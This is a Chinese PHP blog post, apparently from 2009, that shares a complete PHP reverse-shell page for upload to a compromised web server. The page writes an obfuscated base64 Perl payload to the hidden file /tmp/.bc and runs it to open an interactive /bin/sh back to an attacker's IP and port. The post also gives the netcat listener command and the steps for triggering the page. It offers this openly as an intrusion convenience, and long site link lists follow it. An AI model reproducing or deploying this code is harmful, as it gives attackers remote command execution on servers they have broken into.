php反弹shell实现代码


Posted in PHP onApril 22, 2009

非常无 奈,没想 到什么好的办法,后来灵光一闪。放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况。
因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件。上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell。
声明,没啥技术含量,主要是用来方便。这样每次可以直接访问这个php页面,直接弹回来shell,不用做其他繁琐的操作,下面贴出来已经修改好的代码

<?php 
function which($pr) { 
$path = execute("which $pr"); 
return ($path ? $path : $pr); 
} 
function execute($cfe) { 
$res = ''; 
if ($cfe) { 
if(function_exists('exec')) { 
@exec($cfe,$res); 
$res = join("\n",$res); 
} elseif(function_exists('shell_exec')) { 
$res = @shell_exec($cfe); 
} elseif(function_exists('system')) { 
@ob_start(); 
@system($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(function_exists('passthru')) { 
@ob_start(); 
@passthru($cfe); 
$res = @ob_get_contents(); 
@ob_end_clean(); 
} elseif(@is_resource($f = @popen($cfe,"r"))) { 
$res = ''; 
while(!@feof($f)) { 
$res .= @fread($f,1024); 
} 
@pclose($f); 
} 
} 
return $res; 
} 
function cf($fname,$text){ 
if($fp=@fopen($fname,'w')) { 
@fputs($fp,@base64_decode($text)); 
@fclose($fp); 
} 
} 
$yourip = "your IP"; 
$yourport = 'your port'; 
$usedb = array('perl'=>'perl','c'=>'c'); 
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
cf('/tmp/.bc',$back_connect); 
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); 
?>

先在本地执行 nc -l -vv -p port 然后访问这个php页面 http://www.site.com/fuck.php 本地就会得到一个反弹的shell。
仅限猥琐流使用,如果有什么好的猥琐的方法,请不吝赐教
PHP 相关文章推荐
PHP安全配置
Oct 09 PHP
PHP生成月历代码
Jun 14 PHP
使用PHP实现密保卡功能实现代码&amp;lt;打包下载直接运行&amp;gt;
Oct 09 PHP
PHP以指定字段为索引返回数据库所取的数据数组
Jun 30 PHP
PHP FTP操作类代码( 上传、拷贝、移动、删除文件/创建目录)
May 10 PHP
php中文字符串截取方法实例总结
Sep 30 PHP
php中debug_backtrace、debug_print_backtrace和匿名函数用法实例
Dec 01 PHP
ajax+php控制所有后台函数调用
Jul 15 PHP
Zend Framework基于Command命令行建立ZF项目的方法
Feb 18 PHP
浅析php如何实现爬取数据原理
Sep 27 PHP
实例讲解php实现多线程
Jan 27 PHP
php+Ajax处理xml与json格式数据的方法示例
Mar 04 PHP
将数组写入txt文件 var_export
Apr 21 #PHP
php 保留小数点
Apr 21 #PHP
PHP 中执行排序与 MySQL 中排序
Apr 21 #PHP
一个php导出oracle库的php代码
Apr 20 #PHP
php一句话cmdshell新型 (非一句话木马)
Apr 18 #PHP
对squid中refresh_pattern的一些理解和建议
Apr 17 #PHP
PHP 加密与解密的斗争
Apr 17 #PHP
You might like
SONY SRF-40W电路分析
2021/03/02 无线电
php下使用curl模拟用户登陆的代码
2010/09/10 PHP
php 高性能书写
2010/12/11 PHP
PHP以及MYSQL日期比较方法
2012/11/29 PHP
深入理解Javascript中this的作用域
2014/08/12 Javascript
JavaScript window.location对象
2014/11/14 Javascript
Javascript基础教程之数组 array
2015/01/18 Javascript
jQuery中$.click()无效问题分析
2015/01/29 Javascript
js绘制圆形和矩形的方法
2015/08/05 Javascript
javascript中 try catch用法
2015/08/16 Javascript
javaScript中定义类或对象的五种方式总结
2016/12/04 Javascript
图文详解Javascript中的上下文和作用域
2017/02/15 Javascript
Bootstrap 表单验证formValidation 实现表单动态验证功能
2017/05/17 Javascript
详解react-webpack2-热模块替换[HMR]
2017/08/03 Javascript
template.js前端模板引擎使用详解
2017/10/10 Javascript
Node.js Buffer模块功能及常用方法实例分析
2019/01/05 Javascript
微信小程序扫描二维码获取信息实例详解
2019/05/07 Javascript
JavaScript实现打砖块游戏
2020/02/25 Javascript
python通过pil将图片转换成黑白效果的方法
2015/03/16 Python
Python制作爬虫采集小说
2015/10/25 Python
Python 实现两个列表里元素对应相乘的方法
2018/11/14 Python
详解Django CAS 解决方案
2019/10/30 Python
python是怎么被发明的
2020/06/15 Python
Python使用for生成列表实现过程解析
2020/09/22 Python
python如何实现word批量转HTML
2020/09/30 Python
详解Pytorch显存动态分配规律探索
2020/11/17 Python
Rossignol金鸡美国官网:始于1907年法国百年雪具品牌
2019/03/06 全球购物
幼儿园教师工作感言
2014/02/15 职场文书
《小蝌蚪找妈妈》教学反思
2014/02/21 职场文书
售后服务承诺书范文
2014/03/26 职场文书
公司周年庆活动方案
2014/08/25 职场文书
2015年施工员工作总结范文
2015/04/20 职场文书
工厂员工辞职信范文
2015/05/12 职场文书
MySQL 重命名表的操作方法及注意事项
2021/05/21 MySQL
mysql事务隔离级别详情
2021/10/24 MySQL
基于Python实现nc批量转tif格式
2022/08/14 Python